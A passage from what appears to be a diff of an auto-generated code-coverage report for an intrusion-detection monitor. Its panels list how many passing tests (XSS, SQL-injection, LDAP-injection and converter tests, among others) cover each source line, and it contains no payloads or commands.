"<ul><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel273": { - "header": "2 tests cover line 273", - "body": "<ul><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel275": { - "header": "36 tests cover line 275", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel290": { - "header": "36 tests cover line 290", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel291": { - "header": "1 test covers line 291", - "body": "<ul><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel295": { - "header": "35 tests cover line 295", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel296": { - "header": "35 tests cover line 296", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel297": { - "header": "1 test covers line 297", - "body": "<ul><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel301": { - "header": "35 tests cover line 301", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel302": { - "header": "35 tests cover line 302", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel303": { - "header": "35 tests cover line 303", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel304": { - "header": "35 tests cover line 304", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel307": { - "header": "35 tests cover line 307", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel308": { - "header": "2 tests cover line 308", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel309": { - "header": "2 tests cover line 309", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel312": { - "header": "35 tests cover line 312", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel313": { - "header": "1 test covers line 313", - "body": "<ul><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel314": { - "header": "1 test covers line 314", - "body": "<ul><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel317": { - "header": "35 tests cover line 317", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel318": { - "header": "35 tests cover line 318", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li 